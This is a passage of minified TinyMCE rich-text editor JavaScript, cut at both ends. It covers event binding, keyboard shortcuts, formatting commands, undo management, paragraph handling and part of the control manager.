q.execCallback("urlconverter_callback",p,v,true,x)}if(!r.convert_urls||(v&&v.nodeName=="LINK")||p.indexOf("file:")===0){return p}if(r.relative_urls){return q.documentBaseURI.toRelative(p)}p=q.documentBaseURI.toAbsolute(p,r.remove_script_host);return p},addVisual:function(r){var p=this,q=p.settings;r=r||p.getBody();if(!d(p.hasVisual)){p.hasVisual=q.visual}i(p.dom.select("table,a",r),function(t){var s;switch(t.nodeName){case"TABLE":s=p.dom.getAttrib(t,"border");if(!s||s=="0"){if(p.hasVisual){p.dom.addClass(t,q.visual_table_class)}else{p.dom.removeClass(t,q.visual_table_class)}}return;case"A":s=p.dom.getAttrib(t,"name");if(s){if(p.hasVisual){p.dom.addClass(t,"mceItemAnchor")}else{p.dom.removeClass(t,"mceItemAnchor")}}return}});p.onVisualAid.dispatch(p,r,p.hasVisual)},remove:function(){var p=this,q=p.getContainer();p.removed=1;p.hide();p.execCallback("remove_instance_callback",p);p.onRemove.dispatch(p);p.onExecCommand.listeners=[];m.remove(p);n.remove(q)},destroy:function(q){var p=this;if(p.destroyed){return}if(!q){m.removeUnload(p.destroy);tinyMCE.onBeforeUnload.remove(p._beforeUnload);if(p.theme&&p.theme.destroy){p.theme.destroy()}p.controlManager.destroy();p.selection.destroy();p.dom.destroy();if(!p.settings.content_editable){j.clear(p.getWin());j.clear(p.getDoc())}j.clear(p.getBody());j.clear(p.formElement)}if(p.formElement){p.formElement.submit=p.formElement._mceOldSubmit;p.formElement._mceOldSubmit=null}p.contentAreaContainer=p.formElement=p.container=p.settings.content_element=p.bodyElement=p.contentDocument=p.contentWindow=null;if(p.selection){p.selection=p.selection.win=p.selection.dom=p.selection.dom.doc=null}p.destroyed=1},_addEvents:function(){var v=this,u,y=v.settings,x={mouseup:"onMouseUp",mousedown:"onMouseDown",click:"onClick",keyup:"onKeyUp",keydown:"onKeyDown",keypress:"onKeyPress",submit:"onSubmit",reset:"onReset",contextmenu:"onContextMenu",dblclick:"onDblClick",paste:"onPaste"};function r(t,A){var s=t.type;if(v.removed){return}if(v.onEvent.dispatch(v,t,A)!==false){v[x[t.fakeType||t.type]].dispatch(v,t,A)}}i(x,function(t,s){switch(s){case"contextmenu":if(m.isOpera){v.dom.bind(v.getBody(),"mousedown",function(A){if(A.ctrlKey){A.fakeType="contextmenu";r(A)}})}else{v.dom.bind(v.getBody(),s,r)}break;case"paste":v.dom.bind(v.getBody(),s,function(A){r(A)});break;case"submit":case"reset":v.dom.bind(v.getElement().form||n.getParent(v.id,"form"),s,r);break;default:v.dom.bind(y.content_editable?v.getBody():v.getDoc(),s,r)}});v.dom.bind(y.content_editable?v.getBody():(a?v.getDoc():v.getWin()),"focus",function(s){v.focus(true)});if(m.isGecko){v.dom.bind(v.getDoc(),"DOMNodeInserted",function(t){var s;t=t.target;if(t.nodeType===1&&t.nodeName==="IMG"&&(s=t.getAttribute("_mce_src"))){t.src=v.documentBaseURI.toAbsolute(s)}})}if(a){function p(){var B=this,D=B.getDoc(),C=B.settings;if(a&&!C.readonly){if(B._isHidden()){try{if(!C.content_editable){D.designMode="On"}}catch(A){}}try{D.execCommand("styleWithCSS",0,false)}catch(A){if(!B._isHidden()){try{D.execCommand("useCSS",0,true)}catch(A){}}}if(!C.table_inline_editing){try{D.execCommand("enableInlineTableEditing",false,false)}catch(A){}}if(!C.object_resizing){try{D.execCommand("enableObjectResizing",false,false)}catch(A){}}}}v.onBeforeExecCommand.add(p);v.onMouseDown.add(p)}if(m.isWebKit){v.onClick.add(function(s,t){t=t.target;if(t.nodeName=="IMG"||(t.nodeName=="A"&&v.dom.hasClass(t,"mceItemAnchor"))){v.selection.getSel().setBaseAndExtent(t,0,t,1)}})}v.onMouseUp.add(v.nodeChanged);v.onKeyUp.add(function(s,t){var A=t.keyCode;if((A>=33&&A<=36)||(A>=37&&A<=40)||A==13||A==45||A==46||A==8||(m.isMac&&(A==91||A==93))||t.ctrlKey){v.nodeChanged()}});v.onReset.add(function(){v.setContent(v.startContent,{format:"raw"})});if(y.custom_shortcuts){if(y.custom_undo_redo_keyboard_shortcuts){v.addShortcut("ctrl+z",v.getLang("undo_desc"),"Undo");v.addShortcut("ctrl+y",v.getLang("redo_desc"),"Redo")}v.addShortcut("ctrl+b",v.getLang("bold_desc"),"Bold");v.addShortcut("ctrl+i",v.getLang("italic_desc"),"Italic");v.addShortcut("ctrl+u",v.getLang("underline_desc"),"Underline");for(u=1;u<=6;u++){v.addShortcut("ctrl+"+u,"",["FormatBlock",false,"h"+u])}v.addShortcut("ctrl+7","",["FormatBlock",false,"<p>"]);v.addShortcut("ctrl+8","",["FormatBlock",false,"<div>"]);v.addShortcut("ctrl+9","",["FormatBlock",false,"<address>"]);function z(t){var s=null;if(!t.altKey&&!t.ctrlKey&&!t.metaKey){return s}i(v.shortcuts,function(A){if(m.isMac&&A.ctrl!=t.metaKey){return}else{if(!m.isMac&&A.ctrl!=t.ctrlKey){return}}if(A.alt!=t.altKey){return}if(A.shift!=t.shiftKey){return}if(t.keyCode==A.keyCode||(t.charCode&&t.charCode==A.charCode)){s=A;return false}});return s}v.onKeyUp.add(function(s,t){var A=z(t);if(A){return j.cancel(t)}});v.onKeyPress.add(function(s,t){var A=z(t);if(A){return j.cancel(t)}});v.onKeyDown.add(function(s,t){var A=z(t);if(A){A.func.call(A.scope);return j.cancel(t)}})}if(m.isIE){v.dom.bind(v.getDoc(),"controlselect",function(A){var t=v.resizeInfo,s;A=A.target;if(A.nodeName!=="IMG"){return}if(t){v.dom.unbind(t.node,t.ev,t.cb)}if(!v.dom.hasClass(A,"mceItemNoResize")){ev="resizeend";s=v.dom.bind(A,ev,function(C){var B;C=C.target;if(B=v.dom.getStyle(C,"width")){v.dom.setAttrib(C,"width",B.replace(/[^0-9%]+/g,""));v.dom.setStyle(C,"width","")}if(B=v.dom.getStyle(C,"height")){v.dom.setAttrib(C,"height",B.replace(/[^0-9%]+/g,""));v.dom.setStyle(C,"height","")}})}else{ev="resizestart";s=v.dom.bind(A,"resizestart",j.cancel,j)}t=v.resizeInfo={node:A,ev:ev,cb:s}});v.onKeyDown.add(function(s,t){switch(t.keyCode){case 8:if(v.selection.getRng().item){s.dom.remove(v.selection.getRng().item(0));return j.cancel(t)}}})}if(m.isOpera){v.onClick.add(function(s,t){j.prevent(t)})}if(y.custom_undo_redo){function q(){v.undoManager.typing=0;v.undoManager.add()}v.dom.bind(v.getDoc(),"focusout",function(s){if(!v.removed&&v.undoManager.typing){q()}});v.onKeyUp.add(function(s,t){if((t.keyCode>=33&&t.keyCode<=36)||(t.keyCode>=37&&t.keyCode<=40)||t.keyCode==13||t.keyCode==45||t.ctrlKey){q()}});v.onKeyDown.add(function(t,D){var s,C,B;if(b&&D.keyCode==46){s=v.selection.getRng();if(s.parentElement){C=s.parentElement();if(D.ctrlKey){s.moveEnd("word",1);s.select()}v.selection.getSel().clear();if(s.parentElement()==C){B=v.selection.getBookmark();try{C.innerHTML=C.innerHTML}catch(A){}v.selection.moveToBookmark(B)}D.preventDefault();return}}if((D.keyCode>=33&&D.keyCode<=36)||(D.keyCode>=37&&D.keyCode<=40)||D.keyCode==13||D.keyCode==45){if(v.undoManager.typing){q()}return}if(!v.undoManager.typing){v.undoManager.add();v.undoManager.typing=1}});v.onMouseDown.add(function(){if(v.undoManager.typing){q()}})}},_isHidden:function(){var p;if(!a){return 0}p=this.selection.getSel();return(!p||!p.rangeCount||p.rangeCount==0)},_fixNesting:function(q){var r=[],p;q=q.replace(/<(\/)?([^\s>]+)[^>]*?>/g,function(t,s,v){var u;if(s==="/"){if(!r.length){return""}if(v!==r[r.length-1].tag){for(p=r.length-1;p>=0;p--){if(r[p].tag===v){r[p].close=1;break}}return""}else{r.pop();if(r.length&&r[r.length-1].close){t=t+"</"+r[r.length-1].tag+">";r.pop()}}}else{if(/^(br|hr|input|meta|img|link|param)$/i.test(v)){return t}if(/\/>$/.test(t)){return t}r.push({tag:v})}return t});for(p=r.length-1;p>=0;p--){q+="</"+r[p].tag+">"}return q}})})(tinymce);(function(c){var d=c.each,e,a=true,b=false;c.EditorCommands=function(n){var l=n.dom,p=n.selection,j={state:{},exec:{},value:{}},k=n.settings,o;function q(y,x,v){var u;y=y.toLowerCase();if(u=j.exec[y]){u(y,x,v);return a}return b}function m(v){var u;v=v.toLowerCase();if(u=j.state[v]){return u(v)}return -1}function h(v){var u;v=v.toLowerCase();if(u=j.value[v]){return u(v)}return b}function t(u,v){v=v||"exec";d(u,function(y,x){d(x.toLowerCase().split(","),function(z){j[v][z]=y})})}c.extend(this,{execCommand:q,queryCommandState:m,queryCommandValue:h,addCommands:t});function f(x,v,u){if(v===e){v=b}if(u===e){u=null}return n.getDoc().execCommand(x,v,u)}function s(u){return n.formatter.match(u)}function r(u,v){n.formatter.toggle(u,v?{value:v}:e)}function i(u){o=p.getBookmark(u)}function g(){p.moveToBookmark(o)}t({"mceResetDesignMode,mceBeginUndoLevel":function(){},"mceEndUndoLevel,mceAddUndoLevel":function(){n.undoManager.add()},"Cut,Copy,Paste":function(y){var x=n.getDoc(),u;try{f(y)}catch(v){u=a}if(u||!x.queryCommandSupported(y)){if(c.isGecko){n.windowManager.confirm(n.getLang("clipboard_msg"),function(z){if(z){open("http://www.mozilla.org/editor/midasdemo/securityprefs.html","_blank")}})}else{n.windowManager.alert(n.getLang("clipboard_no_support"))}}},unlink:function(u){if(p.isCollapsed()){p.select(p.getNode())}f(u);p.collapse(b)},"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(u){var v=u.substring(7);d("left,center,right,full".split(","),function(x){if(v!=x){n.formatter.remove("align"+x)}});r("align"+v)},"InsertUnorderedList,InsertOrderedList":function(x){var u,v;f(x);u=l.getParent(p.getNode(),"ol,ul");if(u){v=u.parentNode;if(/^(H[1-6]|P|ADDRESS|PRE)$/.test(v.nodeName)){i();l.split(v,u);g()}}},"Bold,Italic,Underline,Strikethrough":function(u){r(u)},"ForeColor,HiliteColor,FontName":function(x,v,u){r(x,u)},FontSize:function(y,x,v){var u,z;if(v>=1&&v<=7){z=c.explode(k.font_size_style_values);u=c.explode(k.font_size_classes);if(u){v=u[v-1]||v}else{v=z[v-1]||v}}r(y,v)},RemoveFormat:function(u){n.formatter.remove(u)},mceBlockQuote:function(u){r("blockquote")},FormatBlock:function(x,v,u){return r(u||"p")},mceCleanup:function(){var u=p.getBookmark();n.setContent(n.getContent({cleanup:a}),{cleanup:a});p.moveToBookmark(u)},mceRemoveNode:function(y,x,v){var u=v||p.getNode();if(u!=n.getBody()){i();n.dom.remove(u,a);g()}},mceSelectNodeDepth:function(y,x,v){var u=0;l.getParent(p.getNode(),function(z){if(z.nodeType==1&&u++==v){p.select(z);return b}},n.getBody())},mceSelectNode:function(x,v,u){p.select(u)},mceInsertContent:function(x,v,u){p.setContent(u)},mceInsertRawHTML:function(x,v,u){p.setContent("tiny_mce_marker");n.setContent(n.getContent().replace(/tiny_mce_marker/g,u))},mceSetContent:function(x,v,u){n.setContent(u)},"Indent,Outdent":function(y){var v,u,x;v=k.indentation;u=/[a-z%]+$/i.exec(v);v=parseInt(v);if(!m("InsertUnorderedList")&&!m("InsertOrderedList")){d(p.getSelectedBlocks(),function(z){if(y=="outdent"){x=Math.max(0,parseInt(z.style.paddingLeft||0)-v);l.setStyle(z,"paddingLeft",x?x+u:"")}else{l.setStyle(z,"paddingLeft",(parseInt(z.style.paddingLeft||0)+v)+u)}})}else{f(y)}},mceRepaint:function(){var v;if(c.isGecko){try{i(a);if(p.getSel()){p.getSel().selectAllChildren(n.getBody())}p.collapse(a);g()}catch(u){}}},mceToggleFormat:function(x,v,u){n.formatter.toggle(u)},InsertHorizontalRule:function(){p.setContent("<hr />")},mceToggleVisualAid:function(){n.hasVisual=!n.hasVisual;n.addVisual()},mceReplaceContent:function(x,v,u){p.setContent(u.replace(/\{\$selection\}/g,p.getContent({format:"text"})))},mceInsertLink:function(y,x,v){var u=l.getParent(p.getNode(),"a");if(c.is(v,"string")){v={href:v}}if(!u){f("CreateLink",b,"javascript:mctmp(0);");d(l.select("a[href=javascript:mctmp(0);]"),function(z){l.setAttribs(z,v)})}else{if(v.href){l.setAttribs(u,v)}else{n.dom.remove(u,a)}}},selectAll:function(){var v=l.getRoot(),u=l.createRng();u.setStart(v,0);u.setEnd(v,v.childNodes.length);n.selection.setRng(u)}});t({"JustifyLeft,JustifyCenter,JustifyRight,JustifyFull":function(u){return s("align"+u.substring(7))},"Bold,Italic,Underline,Strikethrough":function(u){return s(u)},mceBlockQuote:function(){return s("blockquote")},Outdent:function(){var u;if(k.inline_styles){if((u=l.getParent(p.getStart(),l.isBlock))&&parseInt(u.style.paddingLeft)>0){return a}if((u=l.getParent(p.getEnd(),l.isBlock))&&parseInt(u.style.paddingLeft)>0){return a}}return m("InsertUnorderedList")||m("InsertOrderedList")||(!k.inline_styles&&!!l.getParent(p.getNode(),"BLOCKQUOTE"))},"InsertUnorderedList,InsertOrderedList":function(u){return l.getParent(p.getNode(),u=="insertunorderedlist"?"UL":"OL")}},"state");t({"FontSize,FontName":function(x){var v=0,u;if(u=l.getParent(p.getNode(),"span")){if(x=="fontsize"){v=u.style.fontSize}else{v=u.style.fontFamily.replace(/, /g,",").replace(/[\'\"]/g,"").toLowerCase()}}return v}},"value");if(k.custom_undo_redo){t({Undo:function(){n.undoManager.undo()},Redo:function(){n.undoManager.redo()}})}}})(tinymce);(function(b){var a=b.util.Dispatcher;b.UndoManager=function(e){var c,d=0,g=[];function f(){return b.trim(e.getContent({format:"raw",no_events:1}))}return c={typing:0,onAdd:new a(c),onUndo:new a(c),onRedo:new a(c),add:function(l){var h,j=e.settings,k;l=l||{};l.content=f();k=g[d];if(k&&k.content==l.content){if(d>0||g.length==1){return null}}if(j.custom_undo_redo_levels){if(g.length>j.custom_undo_redo_levels){for(h=0;h<g.length-1;h++){g[h]=g[h+1]}g.length--;d=g.length}}l.bookmark=e.selection.getBookmark(2,true);if(d<g.length-1){if(d==0){g=[]}else{g.length=d+1}}g.push(l);d=g.length-1;c.onAdd.dispatch(c,l);e.isNotDirty=0;return l},undo:function(){var j,h;if(c.typing){c.add();c.typing=0}if(d>0){j=g[--d];e.setContent(j.content,{format:"raw"});e.selection.moveToBookmark(j.bookmark);c.onUndo.dispatch(c,j)}return j},redo:function(){var h;if(d<g.length-1){h=g[++d];e.setContent(h.content,{format:"raw"});e.selection.moveToBookmark(h.bookmark);c.onRedo.dispatch(c,h)}return h},clear:function(){g=[];d=c.typing=0},hasUndo:function(){return d>0||c.typing},hasRedo:function(){return d<g.length-1}}}})(tinymce);(function(m){var k=m.dom.Event,c=m.isIE,a=m.isGecko,b=m.isOpera,j=m.each,i=m.extend,d=true,h=false;function l(p){var q,o,n;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(p.nodeName)){if(q){o=p.cloneNode(false);o.appendChild(q);q=o}else{q=n=p.cloneNode(false)}q.removeAttribute("id")}}while(p=p.parentNode);if(q){return{wrapper:q,inner:n}}}function g(o,p){var n=p.ownerDocument.createRange();n.setStart(o.endContainer,o.endOffset);n.setEndAfter(p);return n.cloneContents().textContent.length==0}function f(o){o=o.innerHTML;o=o.replace(/<(img|hr|table|input|select|textarea)[ \>]/gi,"-");o=o.replace(/<[^>]+>/g,"");return o.replace(/[ \u00a0\t\r\n]+/g,"")==""}function e(p,r,n){var o,q;if(f(n)){o=r.getParent(n,"ul,ol");if(!r.getParent(o.parentNode,"ul,ol")){r.split(o,n);q=r.create("p",0,'<br _mce_bogus="1" />');r.replace(q,n);p.select(q,1)}return h}return d}m.create("tinymce.ForceBlocks",{ForceBlocks:function(o){var p=this,q=o.settings,r;p.editor=o;p.dom=o.dom;r=(q.forced_root_block||"p").toLowerCase();q.element=r.toUpperCase();o.onPreInit.add(p.setup,p);p.reOpera=new RegExp("(\\u00a0|&#160;|&nbsp;)</"+r+">","gi");p.rePadd=new RegExp("<p( )([^>]+)><\\/p>|<p( )([^>]+)\\/>|<p( )([^>]+)>\\s+<\\/p>|<p><\\/p>|<p\\/>|<p>\\s+<\\/p>".replace(/p/g,r),"gi");p.reNbsp2BR1=new RegExp("<p( )([^>]+)>[\\s\\u00a0]+<\\/p>|<p>[\\s\\u00a0]+<\\/p>".replace(/p/g,r),"gi");p.reNbsp2BR2=new RegExp("<%p()([^>]+)>(&nbsp;|&#160;)<\\/%p>|<%p>(&nbsp;|&#160;)<\\/%p>".replace(/%p/g,r),"gi");p.reBR2Nbsp=new RegExp("<p( )([^>]+)>\\s*<br \\/>\\s*<\\/p>|<p>\\s*<br \\/>\\s*<\\/p>".replace(/p/g,r),"gi");function n(s,t){if(b){t.content=t.content.replace(p.reOpera,"</"+r+">")}t.content=t.content.replace(p.rePadd,"<"+r+"$1$2$3$4$5$6>\u00a0</"+r+">");if(!c&&!b&&t.set){t.content=t.content.replace(p.reNbsp2BR1,"<"+r+"$1$2><br /></"+r+">");t.content=t.content.replace(p.reNbsp2BR2,"<"+r+"$1$2><br /></"+r+">")}else{t.content=t.content.replace(p.reBR2Nbsp,"<"+r+"$1$2>\u00a0</"+r+">")}}o.onBeforeSetContent.add(n);o.onPostProcess.add(n);if(q.forced_root_block){o.onInit.add(p.forceRoots,p);o.onSetContent.add(p.forceRoots,p);o.onBeforeGetContent.add(p.forceRoots,p)}},setup:function(){var o=this,n=o.editor,q=n.settings,u=n.dom,p=n.selection;if(q.forced_root_block){n.onBeforeExecCommand.add(o.forceRoots,o);n.onKeyUp.add(o.forceRoots,o);n.onPreProcess.add(o.forceRoots,o)}if(q.force_br_newlines){if(c){n.onKeyPress.add(function(s,t){var v;if(t.keyCode==13&&p.getNode().nodeName!="LI"){p.setContent('<br id="__" /> ',{format:"raw"});v=u.get("__");v.removeAttribute("id");p.select(v);p.collapse();return k.cancel(t)}})}}if(q.force_p_newlines){if(!c){n.onKeyPress.add(function(s,t){if(t.keyCode==13&&!t.shiftKey&&!o.insertPara(t)){k.cancel(t)}})}else{m.addUnload(function(){o._previousFormats=0});n.onKeyPress.add(function(s,t){o._previousFormats=0;if(t.keyCode==13&&!t.shiftKey&&s.selection.isCollapsed()&&q.keep_styles){o._previousFormats=l(s.selection.getStart())}});n.onKeyUp.add(function(t,x){if(x.keyCode==13&&!x.shiftKey){var v=t.selection.getStart(),s=o._previousFormats;if(!v.hasChildNodes()){v=u.getParent(v,u.isBlock);if(v){v.innerHTML="";if(o._previousFormats){v.appendChild(s.wrapper);s.inner.innerHTML="\uFEFF"}else{v.innerHTML="\uFEFF"}p.select(v,1);t.getDoc().execCommand("Delete",false,null)}}}})}if(a){n.onKeyDown.add(function(s,t){if((t.keyCode==8||t.keyCode==46)&&!t.shiftKey){o.backspaceDelete(t,t.keyCode==8)}})}}if(m.isWebKit){function r(t){var s=p.getRng(),v,z=u.create("div",null," "),y,x=u.getViewPort(t.getWin()).h;s.insertNode(v=u.create("br"));s.setStartAfter(v);s.setEndAfter(v);p.setRng(s);if(p.getSel().focusNode==v.previousSibling){p.select(u.insertAfter(u.doc.createTextNode("\u00a0"),v));p.collapse(d)}u.insertAfter(z,v);y=u.getPos(z).y;u.remove(z);if(y>x){t.getWin().scrollTo(0,y)}}n.onKeyPress.add(function(s,t){if(t.keyCode==13&&(t.shiftKey||(q.force_br_newlines&&!u.getParent(p.getNode(),"h1,h2,h3,h4,h5,h6,ol,ul")))){r(s);k.cancel(t)}})}n.onPreProcess.add(function(s,t){j(u.select("p,h1,h2,h3,h4,h5,h6,div",t.node),function(v){if(f(v)){j(u.select("span,em,strong,b,i",t.node),function(x){if(!x.hasChildNodes()){x.appendChild(s.getDoc().createTextNode("\u00a0"));return h}})}})});if(c){if(q.element!="P"){n.onKeyPress.add(function(s,t){o.lastElm=p.getNode().nodeName});n.onKeyUp.add(function(t,v){var y,x=p.getNode(),s=t.getBody();if(s.childNodes.length===1&&x.nodeName=="P"){x=u.rename(x,q.element);p.select(x);p.collapse();t.nodeChanged()}else{if(v.keyCode==13&&!v.shiftKey&&o.lastElm!="P"){y=u.getParent(x,"p");if(y){u.rename(y,q.element);t.nodeChanged()}}}})}}},find:function(v,q,r){var p=this.editor,o=p.getDoc().createTreeWalker(v,4,null,h),u=-1;while(v=o.nextNode()){u++;if(q==0&&v==r){return u}if(q==1&&u==r){return v}}return -1},forceRoots:function(x,I){var z=this,x=z.editor,M=x.getBody(),J=x.getDoc(),P=x.selection,A=P.getSel(),B=P.getRng(),N=-2,v,G,o,p,K=-16777215;var L,q,O,F,C,u=M.childNodes,E,D,y;for(E=u.length-1;E>=0;E--){L=u[E];if(L.nodeType===1&&L.getAttribute("_mce_type")){q=null;continue}if(L.nodeType===3||(!z.dom.isBlock(L)&&L.nodeType!==8&&!/^(script|mce:script|style|mce:style)$/i.test(L.nodeName))){if(!q){if(L.nodeType!=3||/[^\s]/g.test(L.nodeValue)){if(N==-2&&B){if(!c){if(B.startContainer.nodeType==1&&(D=B.startContainer.childNodes[B.startOffset])&&D.nodeType==1){y=D.getAttribute("id");D.setAttribute("id","__mce")}else{if(x.dom.getParent(B.startContainer,function(n){return n===M})){G=B.startOffset;o=B.endOffset;N=z.find(M,0,B.startContainer);v=z.find(M,0,B.endContainer)}}}else{if(B.item){p=J.body.createTextRange();p.moveToElementText(B.item(0));B=p}p=J.body.createTextRange();p.moveToElementText(M);p.collapse(1);O=p.move("character",K)*-1;p=B.duplicate();p.collapse(1);F=p.move("character",K)*-1;p=B.duplicate();p.collapse(0);C=(p.move("character",K)*-1)-F;N=F-O;v=C}}q=x.dom.create(x.settings.forced_root_block);L.parentNode.replaceChild(q,L);q.appendChild(L)}}else{if(q.hasChildNodes()){q.insertBefore(L,q.firstChild)}else{q.appendChild(L)}}}else{q=null}}if(N!=-2){if(!c){q=M.getElementsByTagName(x.settings.element)[0];B=J.createRange();if(N!=-1){B.setStart(z.find(M,1,N),G)}else{B.setStart(q,0)}if(v!=-1){B.setEnd(z.find(M,1,v),o)}else{B.setEnd(q,0)}if(A){A.removeAllRanges();A.addRange(B)}}else{try{B=A.createRange();B.moveToElementText(M);B.collapse(1);B.moveStart("character",N);B.moveEnd("character",v);B.select()}catch(H){}}}else{if(!c&&(D=x.dom.get("__mce"))){if(y){D.setAttribute("id",y)}else{D.removeAttribute("id")}B=J.createRange();B.setStartBefore(D);B.setEndBefore(D);P.setRng(B)}}},getParentBlock:function(p){var o=this.dom;return o.getParent(p,o.isBlock)},insertPara:function(S){var G=this,x=G.editor,O=x.dom,T=x.getDoc(),X=x.settings,H=x.selection.getSel(),I=H.getRangeAt(0),W=T.body;var L,M,J,Q,P,u,p,v,A,o,E,V,q,z,K,N=O.getViewPort(x.getWin()),D,F,C;L=T.createRange();L.setStart(H.anchorNode,H.anchorOffset);L.collapse(d);M=T.createRange();M.setStart(H.focusNode,H.focusOffset);M.collapse(d);J=L.compareBoundaryPoints(L.START_TO_END,M)<0;Q=J?H.anchorNode:H.focusNode;P=J?H.anchorOffset:H.focusOffset;u=J?H.focusNode:H.anchorNode;p=J?H.focusOffset:H.anchorOffset;if(Q===u&&/^(TD|TH)$/.test(Q.nodeName)){if(Q.firstChild.nodeName=="BR"){O.remove(Q.firstChild)}if(Q.childNodes.length==0){x.dom.add(Q,X.element,null,"<br />");V=x.dom.add(Q,X.element,null,"<br />")}else{K=Q.innerHTML;Q.innerHTML="";x.dom.add(Q,X.element,null,K);V=x.dom.add(Q,X.element,null,"<br />")}I=T.createRange();I.selectNodeContents(V);I.collapse(1);x.selection.setRng(I);return h}if(Q==W&&u==W&&W.firstChild&&x.dom.isBlock(W.firstChild)){Q=u=Q.firstChild;P=p=0;L=T.createRange();L.setStart(Q,0);M=T.createRange();M.setStart(u,0)}Q=Q.nodeName=="HTML"?T.body:Q;Q=Q.nodeName=="BODY"?Q.firstChild:Q;u=u.nodeName=="HTML"?T.body:u;u=u.nodeName=="BODY"?u.firstChild:u;v=G.getParentBlock(Q);A=G.getParentBlock(u);o=v?v.nodeName:X.element;if(K=G.dom.getParent(v,"li,pre")){if(K.nodeName=="LI"){return e(x.selection,G.dom,K)}return d}if(v&&(v.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(O.getStyle(v,"position",1)))){o=X.element;v=null}if(A&&(A.nodeName=="CAPTION"||/absolute|relative|fixed/gi.test(O.getStyle(v,"position",1)))){o=X.element;A=null}if(/(TD|TABLE|TH|CAPTION)/.test(o)||(v&&o=="DIV"&&/left|right/gi.test(O.getStyle(v,"float",1)))){o=X.element;v=A=null}E=(v&&v.nodeName==o)?v.cloneNode(0):x.dom.create(o);V=(A&&A.nodeName==o)?A.cloneNode(0):x.dom.create(o);V.removeAttribute("id");if(/^(H[1-6])$/.test(o)&&g(I,v)){V=x.dom.create(X.element)}K=q=Q;do{if(K==W||K.nodeType==9||G.dom.isBlock(K)||/(TD|TABLE|TH|CAPTION)/.test(K.nodeName)){break}q=K}while((K=K.previousSibling?K.previousSibling:K.parentNode));K=z=u;do{if(K==W||K.nodeType==9||G.dom.isBlock(K)||/(TD|TABLE|TH|CAPTION)/.test(K.nodeName)){break}z=K}while((K=K.nextSibling?K.nextSibling:K.parentNode));if(q.nodeName==o){L.setStart(q,0)}else{L.setStartBefore(q)}L.setEnd(Q,P);E.appendChild(L.cloneContents()||T.createTextNode(""));try{M.setEndAfter(z)}catch(R){}M.setStart(u,p);V.appendChild(M.cloneContents()||T.createTextNode(""));I=T.createRange();if(!q.previousSibling&&q.parentNode.nodeName==o){I.setStartBefore(q.parentNode)}else{if(L.startContainer.nodeName==o&&L.startOffset==0){I.setStartBefore(L.startContainer)}else{I.setStart(L.startContainer,L.startOffset)}}if(!z.nextSibling&&z.parentNode.nodeName==o){I.setEndAfter(z.parentNode)}else{I.setEnd(M.endContainer,M.endOffset)}I.deleteContents();if(b){x.getWin().scrollTo(0,N.y)}if(E.firstChild&&E.firstChild.nodeName==o){E.innerHTML=E.firstChild.innerHTML}if(V.firstChild&&V.firstChild.nodeName==o){V.innerHTML=V.firstChild.innerHTML}if(f(E)){E.innerHTML="<br />"}function U(y,s){var r=[],Z,Y,t;y.innerHTML="";if(X.keep_styles){Y=s;do{if(/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(Y.nodeName)){Z=Y.cloneNode(h);O.setAttrib(Z,"id","");r.push(Z)}}while(Y=Y.parentNode)}if(r.length>0){for(t=r.length-1,Z=y;t>=0;t--){Z=Z.appendChild(r[t])}r[0].innerHTML=b?"&nbsp;":"<br />";return r[0]}else{y.innerHTML=b?"&nbsp;":"<br />"}}if(f(V)){C=U(V,u)}if(b&&parseFloat(opera.version())<9.5){I.insertNode(E);I.insertNode(V)}else{I.insertNode(V);I.insertNode(E)}V.normalize();E.normalize();function B(r){return T.createTreeWalker(r,NodeFilter.SHOW_TEXT,null,h).nextNode()||r}I=T.createRange();I.selectNodeContents(a?B(C||V):C||V);I.collapse(1);H.removeAllRanges();H.addRange(I);D=x.dom.getPos(V).y;F=V.clientHeight;if(D<N.y||D+F>N.y+N.h){x.getWin().scrollTo(0,D<N.y?D:D-N.h+25)}return h},backspaceDelete:function(v,C){var D=this,u=D.editor,z=u.getBody(),s=u.dom,q,x=u.selection,p=x.getRng(),y=p.startContainer,q,A,B,o;if(!C&&p.collapsed&&y.nodeType==1&&p.startOffset==y.childNodes.length){o=new m.dom.TreeWalker(y.lastChild,y);for(q=y.lastChild;q;q=o.prev()){if(q.nodeType==3){p.setStart(q,q.nodeValue.length);p.collapse(true);x.setRng(p);return}}}if(y&&u.dom.isBlock(y)&&!/^(TD|TH)$/.test(y.nodeName)&&C){if(y.childNodes.length==0||(y.childNodes.length==1&&y.firstChild.nodeName=="BR")){q=y;while((q=q.previousSibling)&&!u.dom.isBlock(q)){}if(q){if(y!=z.firstChild){A=u.dom.doc.createTreeWalker(q,NodeFilter.SHOW_TEXT,null,h);while(B=A.nextNode()){q=B}p=u.getDoc().createRange();p.setStart(q,q.nodeValue?q.nodeValue.length:0);p.setEnd(q,q.nodeValue?q.nodeValue.length:0);x.setRng(p);u.dom.remove(y)}return k.cancel(v)}}}}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each,e=c.extend;c.create("tinymce.ControlManager",{ControlManager:function(f,j){var h=this,g;j=j||{};h.editor=f;h.controls={};h.onAdd=new c.util.Dispatcher(h);h.onPostRender=new c.util.Dispatcher(h);h.prefix=j.prefix||f.id+"_";h._cls={};h.onPostRender.add(function(){d(h.controls,function(i){i.postRender()})})},get:function(f){return this.controls[this.prefix+f]||this.controls[f]},setActive:function(h,f){var g=null;if(g=this.get(h)){g.setActive(f)}return g},setDisabled:function(h,f){var g=null;if(g=this.get(h)){g.setDisabled(f)}return g},add:function(g){var f=this;if(g){f.controls[g.id]=g;f.onAdd.dispatch(g,f)}return g},createControl:function(i){var h,g=this,f=g.editor;d(f.plugins,function(j){if(j.createControl){h=j.createControl(i,g);if(h){return false}}});switch(i){case"|":case"separator":return g.createSeparator()}if(!h&&f.buttons&&(h=f.buttons[i])){return g.createButton(i,h)}return g.add(h)},createDropMenu:function(f,n,h){var m=this,i=m.editor,j,g,k,l;n=e({"class":"mceDropDown",constrain:i.settings.constrain_menus},n);n["class"]=n["class"]+" "+i.getParam("skin")+"Skin";if(k=i.getParam("skin_variant")){n["class"]+=" "+i.getParam("skin")+"Skin"+k.substring(0,1).toUpperCase()+k.substring(1)}f=m.prefix+f;l=h||m._cls.dropmenu||c.ui.DropMenu;j=m.controls[f]=new l(f,n);j.onAddItem.add(function(r,q){var 